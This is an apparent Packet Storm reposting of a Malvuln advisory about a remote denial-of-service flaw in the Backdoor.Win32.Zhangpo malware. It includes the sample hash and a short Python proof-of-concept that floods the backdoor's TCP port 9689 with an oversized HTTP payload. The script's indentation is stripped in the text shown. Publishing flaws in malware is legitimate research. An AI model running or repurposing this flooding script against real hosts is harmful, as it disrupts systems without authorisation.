Backdoor.Win32.Zhangpo Denial Of Service

2021-01-29T00:00:00
ID PACKETSTORM:161187
Type packetstorm
Reporter malvuln
Modified 2021-01-29T00:00:00

Description

                                        
                                            `Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/052d18e119f9a2910ed18a137231a041.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Zhangpo  
Vulnerability: Remote DoS  
Description: Zhangpo listens on TCP port 9689, sending a special character as a long string HTTP payload will DoS the backdoor.  
Type: PE32  
MD5: 052d18e119f9a2910ed18a137231a041  
Vuln ID: MVID-2021-0058  
Disclosure: 01/28/2021  
  
  
Exploit/PoC:  
from socket import *  
  
MALWARE_HOST="x.x.x.x"  
PORT=9689  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
PaCOLA = "GET / HTTP/1.0 " +";&#235"*10000  
  
s.send(PaCOLA)  
s.close()  
  
print("Backdoor.Win32.Zhangpo / Remote DoS");  
print("MD5: 052d18e119f9a2910ed18a137231a041");  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
  
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`